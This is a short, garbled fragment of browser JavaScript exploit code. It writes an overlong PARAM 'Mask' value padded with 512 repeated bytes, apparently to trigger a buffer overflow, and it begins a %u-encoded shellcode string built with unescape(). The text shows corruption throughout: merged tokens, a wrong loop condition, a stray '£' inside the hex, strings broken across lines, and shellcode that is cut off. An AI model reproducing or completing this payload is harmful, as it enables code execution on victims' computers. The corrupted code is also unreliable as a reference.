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var  body='<PARAM  NAME="Mask"

VALUE="";
var buf=";
for (i=1;1<=512;i++)
{
buf=buftunescape("%0c");
}
var bodyl="">

document.write(body+buf+bodyl);
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var shellcode = unescape((
"%u51eb%u758b%u8b3c%u3574%u0378%
u56£5%u768b%u0320" +
"%u3315%u49c9%uad41%udb33%u0f36%u
14be%u3a28%u74d6" +
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"%uc108%u0dcb%uda03%ueb40%u3bef%u
75df%u5ee7%u5e8b" +
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